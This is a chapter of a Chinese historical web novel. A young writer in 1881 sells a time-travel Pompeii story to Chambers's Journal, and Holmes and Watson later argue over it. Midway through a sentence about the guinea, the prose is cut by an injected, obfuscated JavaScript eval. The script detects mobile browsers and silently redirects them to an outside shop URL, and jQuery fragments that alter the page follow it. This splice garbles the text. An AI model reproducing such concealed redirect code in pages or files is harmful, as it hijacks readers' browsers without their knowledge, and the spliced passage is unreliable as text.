Chapter14


    时间进入新的一年。


    1881年1月2日，奈布拉按照原计划返回伦敦。


    她立刻写信一封，寄向皇家矿业学院。


    希望有机会丰富光谱学相关知识，请奥斯汀爵士推荐这方面的书籍。


    之后，短暂闭关。


    前期做足准备，只用了六天就写完庞贝末日穿越小说。


    成稿后，前往图书馆翻阅法律资料。


    英国法律无法保障所有人的权利是事实。


    不懂法的人，在迈出第一步时就有可能被坑也是事实。


    奈布拉尽力规避后一种可能。


    查找小说出版、周边衍生品相关的法条与案例。


    通过《版权法案》，明确了作为作者有哪些权益。


    第18条指出期刊文章享有单独出版权。


    简单地说，她可以选择只与杂志社单独签订连载权，而保留其他版权。


    另外，注意到作家查尔斯·里德的两次诉讼。


    相隔十年的两次诉讼，都是起诉伦敦维多利亚剧院的经理约翰·康奎斯特，结果却一败一胜。


    奈布拉详细翻阅了双方长达十年的斗法经过。


    这让她暂缓投稿的脚步。耗时一周，特意书写了另一沓文件。


    前往伦敦圣母玛利亚巷，在伦敦出版工会进行登记。


    1月24日，终于前往《钱伯斯周刊》投稿。


    *


    *


    1月24日，星期一。


    天蒙蒙亮，伦敦国王十字车站人头攒动。


    奈布拉坐上驶向爱丁堡的火车。


    这年头可以走邮政投稿，也能写信预约编辑面谈。


    她选择后者。


    在收到审稿约见的回复后，带上字迹清晰的手稿，前往位于爱丁堡高街的《钱伯斯周刊》杂志社。


    火车朝发夕至。


    下午，16：00。


    她踏着夕阳，敲响杂志社的大门。


    主编办公室内，小罗伯特·钱伯斯接待了奈布拉。


    “很久不见，请坐。”


    他是杂志创始人之一，已故罗伯特·钱伯斯的儿子。


    前年，蓝斯夫妇的葬礼上，他代表《钱伯斯周刊》前去悼念。


    “下午好，很高兴能再次见到您。”


    奈布拉看着年近50岁的小罗伯特，他对面的办公位空着。


    这间主编办公室一共有两张办公桌。


    另一张办公桌属于拥有最终决策权的威廉·钱伯斯。


    威廉·钱伯斯是杂志社另一位创始人，已经81岁高龄。今天没看到他的身影。


    小罗伯特是威廉的侄子。


    七年前，前任主编佩恩因为与威廉理念不合辞职，小罗伯特被任命为联合主编。


    小罗伯特习惯性地以天气为切入点问好：


    “爱丁堡给你的感觉怎么样？这里的天气与伦敦不同，少雾多风。一年四季，风从北海来。你听——”


    办公室窗户半开。


    窗外，大风呼啸而过，哔哔作响。


    杂志社所在的高街，两侧房屋排列紧密，街巷狭长。


    每当风窜过，宛如吹响连绵不绝的哨声。


    “我喜欢爱丁堡的风。”


    奈布拉由衷赞美，“它带走了杂乱气味，留下干净凛冽的海洋味道。”


    “是的，海风很迷人。”


    小罗伯特顺势说，“就让我们在海风的伴奏下，读一读你的书稿。”


    “请指点。”


    奈布拉递出手稿。


    在之前的信件里，简述了希望投递一个庞贝冒险故事。


    小罗伯特打开文件袋，很难说对这篇小说有太高的期待。


    庞贝小说的最热时期已经过去。


    现在虽然仍有一大波受众，但是后续创作难有新意，很多年没出现佳作。


    这本会怎么样？


    正想着，看到第一页书名，《庞贝末日倒计时48小时，我怒赚一万英镑》。


    小罗伯特当场眉心一跳。


    上帝啊！


    这个书名简直了！


    一座城市的人要死了，主角还在关注赚钱，哪有一丝道德关怀。


    如果故事的主旨是鼓励主角这样做，主流杂志九成都会拒稿。


    不过，他也被勾起了好奇心，倒要瞧瞧主角会有什么样的命运。


    小罗伯特往下翻。


    故事主角保罗·杜克，法国人，18岁。


    葡萄庄园的继承人，因为遭遇根瘤蚜虫病，家族生意破产。


    父亲自杀，母亲病重，还有一个年仅九岁的妹妹。


    家庭重担落到保罗身上。


    变卖所有值钱物品后，还有一笔折合五千英镑的负债。


    债主是英国伦敦的商人。


    保罗来到伦敦请求宽限还款期限。


    伦敦商人仁慈地宽限一个月，但他又去哪里找一个月五千英镑的工作？


    保罗看似还有时间努力，其实已经走投无路，除非天上掉黄金。


    小罗伯特看到这里，立刻接受了书名。


    原来主角保罗是法国人，那就不奇怪了。


    法国佬不追求英国绅士精神，在别人经历末日时，还一心想着赚钱。


    何况，情有可原。


    近十几年，根瘤蚜虫病把欧洲许多农户与酒商逼得穷困潦倒。


    小罗伯特有好几个旧识因为这场葡萄瘟疫损失惨重。


    继续往下看，主角保罗怎么会到庞贝末日赚钱呢？


    *


    *


    保罗走在泰晤士河畔，似游魂一样漫无目的地前行。


    一张羊皮纸随风而来，忽然迎面糊了他一脸。


    羊皮纸，平平无奇，上面却写着一段鲜红色的话：


    「你敢赌一把吗？


    灵魂穿越庞贝末日发生前的48小时，找到隐匿的钥匙，赶在火山爆发前回来。


    赢，你带着价值一万英镑的物品回到19世纪。


    输，你魂飞魄散。


    赌的话，你划破食指，在羊皮纸上按上血指印。」


    *


    *


    办公桌前，小罗伯特顿时瞪大了眼睛。


    上帝啊，他看到什么小说情节？！


    这次真没有一惊一乍地乱喊，是真的要叫上帝了。


    小说主角居然穿越时空？


    这违背了基督教的单向不可逆时间理念！①


    ‘小罗伯特，淡定。’


    小罗伯特默念着，‘作为成熟的杂志主编，你也不是第一次看到上帝的时间理念被挑战。’


    1830年，地质渐变论。


    1850年~1851年，热力学第二定律。


    1859年，生物进化论。


    这三个自然科学理论的提出，接二连三地冲击着单向不可逆时间理念。


    小罗伯特深呼吸，再深呼吸，继续自我劝慰。


    作为快50岁的中年人什么没见过。


    既然有自然科学理念挑战再先，今天出现一本虚构小说提出时间旅行概念，也不该大惊小怪。


    不惊讶才怪！


    小罗伯特没能立刻冷静下来，握着手稿的手指微微颤抖。


    他与地质学、物理学、生物学不熟，却实打实做了七年的小说杂志主编。


    此时此刻，第一本打破单线不可逆时间观念的小说手稿，被他真真实实地握在手里，怎么可能不激动。


    小罗伯特忍住了，没有抬头去看奈布拉。


    只要抬头，他确定自己没法保持绅士风度，而是会激动地询问。


    职业素养！


    职业素养！


    职业素养！


    重要的事，自我劝诫三遍。


    小罗伯特继续读下去。


    *


    *


    泰晤士河边，保罗瞧着羊皮纸，认定所谓穿越时空的赌约就是恶作剧。


    赌金一万英镑！


    这行字却让他鬼使神差地咬破指尖，在羊皮纸上按下了血指印。


    突然，一股电流从流血的指尖钻入身体。


    保罗感到天旋地转。


    景象突变，穿梭着蒸汽船的泰晤士河不见了。


    头顶，阳光正好。


    眼前，科林斯圆柱支撑起古罗马风格的神庙。


    脚下，路面由火山岩拼接而成。乌黑发亮，闪动金属光泽。


    放眼望去，马路两侧留下了深深的车辙印。


    随便一扫，铺路石上刻着男性阳.具图案。


    行人来来往往，多是黑发。


    男人身着丘尼卡，女人穿着斯托拉，外搭帕拉披肩。


    衣服多是羊毛材质，不见裤装，而是古罗马长袍。


    保罗傻了。


    慢一拍回过神来，察觉身体不对劲。


    低头看双手。


    十指粗壮，手背有疤痕，与他保养得当的手掌相差甚大。


    立刻蹿到十米外的公共喷泉。借着泉水，看到了模糊的倒影。


    这具身体一头金发，浓密胡须，大约三四十岁。


    身着带风帽的高卢式斗篷，下穿宽松的羊毛长裤，又把裤脚塞进高筒靴里。


    与人群截然不同的发色与服装，表明了他异乡人的身份。


    这不是他的脸！更不是他的身体！


    这时，一句大声的拉丁语叫卖响起：


    “注意！从第七个小时起，欧玛齐娅楼卖奴隶了！”


    保罗瞪大眼睛。


    他的古典拉丁文学得不好，居然还能毫无障碍地听懂通俗拉丁语？！②


    不对！


    惊悚感后知后觉地席卷保罗，他的牙齿也颤抖起来。


    羊皮纸的赌约居然是真的！


    他的灵魂穿越时空，来到火山喷发前的庞贝，借用了另一个人的身体！


    怎么办？


    他还能回到1880年吗？


    上帝啊！要如何找到回家的钥匙？赢得赌约呢？


    *


    *


    小罗伯特读到这一段，不由屏息凝神。


    第一次看到这种新奇设定。


    不只是违背时间规则的时空旅行，更有惊险刺激的赌约。


    他迫不及待地翻页，想要知道接下来会发生什么。


    在一页接一页地追读中，浑然不觉天色发生了变化。


    日暮四合，夜幕降临。


    办公室里的煤气灯被悄然点亮了。


    当读到最后一页，小罗伯特的目光停滞在结尾的那行墨字上。


    半晌，他缓缓抬起头。


    神色茫然，仿佛他成为了保罗，刚刚经历了一场灵魂冒险。


    墙头挂钟指向18:04。


    原来在不知不觉间，两个多小时过去了。


    小罗伯特再看待了七年的办公室，竟有一股陌生感。


    几何图案的米色墙纸、有了岁月划痕的橡木书柜，与手边崭新的骨瓷水杯，这些是真实的吗？


    办公桌上，一盏煤油灯的火光摇曳。


    火光泛着琥珀色，照亮对座女士的半边脸。


    奈布拉的右脸被描摹出柔和的光泽。


    左脸却隐入昏暗，轮廓模糊难辨。


    从这个角度看，她的绿色眼眸也是半明半昧。


    一侧温和，一侧幽深，像是站在人间与某种不可知的边界上。


    小罗伯特晃晃脑袋，把有的没的抛出脑袋。


    真是读书读懵了，开始瞎想了。


    他终于回神：“蓝斯小姐，非常抱歉让你久等了。谢谢你点亮了煤气灯。”


    奈布拉微微前倾身体，整个人都进入了煤气灯的光圈中。


    她笑着问：“对我来说，这次等待应该是好消息吧？您认为这个故事怎么样？”


    “非常好！”


    小罗伯特当场拍板，“你过稿了。”


    他难掩激动地说：


    “错过这本书，我一定会后悔。不谈别的，仅是穿越时空的设定就足以引起震动。


    它挑战着牛顿式的绝对线性时间观，让科学幻想迈入全新领域。非常庆幸，我们相遇在1881年，而不是一百年前。”


    “是的，感谢19世纪。”


    奈布拉很清楚，如果没有近五十年的自然科学发展，各个学科不断有新理论挑战牛顿式的时间观念，冲击了基督教神学体系的固有观念，穿越时空的小说不会被主流报纸登载。


    小罗伯特承诺：“这篇小说是三四万词的中篇故事。按照惯例分四期，在一个月内连载完毕。下个月，它就会见报。”


    他一边说着一边拉开抽屉取出合约。


    “你从伦敦远道而来，不耽误你的时间，今天就能签约。我社愿意支付30几尼购买这篇小说。”


    奈布拉做过前期调查，对新人来说，30几尼是友善的价格。


    一般情况下，中篇小说在1.5~5万词之间，稿费约20~50几尼不等。


    给新人的报价通常在20~30几尼之间。


    如果遇到黑心出版商，还会被一次性买断所有相关版权。③


    奈布拉特别留意，稿费需要用“几尼”计价。


    早在六十八年前，1813年英国停止了几尼硬币的铸币。


    1816年《铸币法》确立金本位制度，以英镑为标准金币。


    这并不影响“几尼”作为计数单位，几十年如一日在某些专业领域继续使用。


    1几尼=1.05英镑=21先令


    作家、律师与医生的收费通常以“几尼”计价。


    赛马、艺术品拍卖也以“几尼”为计价单位。


    现在“几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403860|199891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尼”退出了英国实体钱币市场，却演变成为一种潜在的知识属性符号。


    或许，有的旧事物永远不会消亡。


    它变成无形无状的老灵魂，飘荡在街头巷尾，组成了大不列颠光怪陆离的暗面。


    奈布拉对稿酬满意，但没有立刻答应签约。


    “您的认可对我是莫大的鼓励，但请允许我多问一句。”


    奈布拉问，“听说威廉·钱伯斯先生有最终定稿权，不必经过他的审核吗？”


    “不必担忧。”


    小罗伯特深知伯父的严厉审稿态度传遍英伦文学圈，但他能断定这则庞贝故事会赢得伯父的赞赏。


    即便书名略有出格，但看了正文就觉得起名起得刚刚好。


    小罗伯特：“你的故事兼具精彩情节与科普教育意义。能让读者沉浸在跌宕起伏的剧情中，也能引起深刻思考，完全符合叔父的选稿标准。”


    “谢谢夸奖。”


    奈布拉微笑，“我似乎没有不签约的理由，但我认为稿费还有可以商量的余地。”


    小罗伯特轻轻抿唇，31.5英镑的报价堪称业界良心，是能给新人作者的最高价。


    也罢，谁叫他喜欢这则故事，个人再加几英镑也行。


    奈布拉：“我认为25几尼就好。”


    “什么？！”


    小罗伯特错愕，第一次遇上作者主动压价。


    “不行！”


    小罗伯特严肃地说，“《钱伯斯周刊》从来不做压榨作者的买卖！”


    作为杂志创始人家族的一员，他清楚《钱伯斯周刊》的坚持。


    尽管伯父威廉近年来变得愈发保守，让杂志选稿变得缺乏趣味性，多了不少让人诟病的说教意味。


    有一条却始终没变，就是对文字的尊重。


    “请记住，文字承载思想，不该被贱卖。”


    小罗伯特说，“相信我，这本小说值得30几尼，甚至更高。”


    奈布拉也坦诚：


    “非常感谢您的好意，我不妨直说了。我只想与贵社签订独家首发连载权，保留小说的其他版权。就像《版权法案》第18条规定的那样。”


    小罗伯特愣住了。


    任职联合主编七年，第一次遇上这样的投稿人。


    一般情况下，只有出名的作家会主动提出签订单独的连载合约。


    转念一想，也在情理之中。


    蓝斯小姐已故的双亲在藏书圈颇有名气，受到家庭影响，对作品版权另有安排也不奇怪。


    “可以。”


    小罗伯特爽快地同意。


    这种做法不合常规，对《钱伯斯杂志》却没影响。


    杂志社的盈利模式是薄利多销加上广告商投钱，本来就不涉足后续出版单本书籍或其他改编。


    两人协商一致，修改了合同。


    包括如何分为四期连载，各项版权的细节，明确连载时间与稿酬价格等等。


    同时确定小说将以「虫洞回声」的笔名进行发表。


    未经允许，杂志社不得向外透露奈布拉的作者身份。


    确认无误，当场签约。


    隔天，奈布拉带着第一笔26.25英镑的稿费返回伦敦。


    静待二月到来。


    庞贝故事的第一期，将在二月的第一个星期六开始连载。


    *


    *


    1881年2月5日，二月的第一个周六。


    黄昏，伦敦大风。


    风吹雾散，天空异常清朗。


    华生兴冲冲地打开贝克街221B的大门，三步并作两步上到二楼。


    他举着手里的《钱伯斯周刊》冲入起居室：


    “福尔摩斯先生，推荐你看看最新出炉的庞贝故事，它太棒了！”


    华生迫不及待地推荐着。


    去年负伤返回伦敦，除了做夏洛克的侦探助手，他还兼职医疗文书的翻译、给私人诊所做替班医生。


    今天下午去大学交翻译稿。


    只是多瞄了一眼学弟手里的《钱伯斯周刊》，就一起陷入《庞贝末日倒计时48小时，我怒赚一万英镑》中。


    上帝啊！


    为什么让他在《庞贝》刚刚开始连载时就读到这个故事？！


    中篇小说的连载，每周更新一期。


    他至少要抓心挠肝一个月，苦苦等待每个星期六的到来。


    不过也有好消息。


    据他所知，截至杂志发售后的四小时，今天午休间隙，伦敦大学医学院已经半数沦陷为《庞贝》的追读者。


    医学院一半师生掉坑里了，距离另一半师生被拖下水也不远了。


    华生也不去想伦敦或英国全境的追读情况。


    仅看眼前，他怎么能不把室友一起拉到等待更新的坑底。


    咳咳！忘记使用语言的艺术了。


    应该是作为优秀室友，他怎么能不分享生活里的趣闻。


    华生兴致勃勃地翻开杂志，停在《庞贝末日倒计时48小时，我怒赚一万英镑》的页面。


    把杂志递出，“我第一次看到穿越时空的小说，你也看看吧！”


    夏洛克接过，却没有阅读。


    他从书桌上取出一模一样的杂志，两只手各执一本晃了晃。


    “你忘了吗？你原本就订购了《钱伯斯周刊》。你去交稿后，报童下午两点送来的。”


    夏洛克微笑：“你怎么又多买一本呢？”


    华生：……


    不好，真的忘了。


    在医学院里读得入迷了，一心想要拉人一起掉坑，在报摊上又买了一本。


    夏洛克欣赏了几秒华生的窘态，绅士地没让尴尬气氛持续太久。


    “如你所愿，《庞贝》的故事，我已经读过了。”


    “看过了？”


    华生惊讶，“原来你不排斥涉足虚构文学领域。”


    夏洛克不置可否，仅仅就《庞贝》表态：


    “从第一章来看，我认为这本小说的底色冷峻诡秘。不能说作者「虫洞回声」也有相似性情，至少能判断他特立独行。”


    夏洛克：“补充一点，从遣词习惯判断，作者很可能是一位四十岁男性。”


    “啊？”


    华生满头问号，“我们读的真是同一个故事吗？这个故事明明很罗曼蒂克啊！你该不是读到盗版了吧？”


    夏洛克摊开两本杂志，油墨印刷字迹一致，不存在盗版的可能性。


    夏洛克：“哪有浪漫？”


    华生：“诡谲在什么地方？”


    两人面面相觑。


    华生先结束大眼瞪小眼比赛。


    他承认夏洛克的推理能力高超，但自己敢说阅遍小说无敌手，熟知各种套路。


    华生直接取来一盒未拆封的烟丝。


    “押一盒烟丝，我赌自己判断准确。福尔摩斯先生，你敢赌吗？”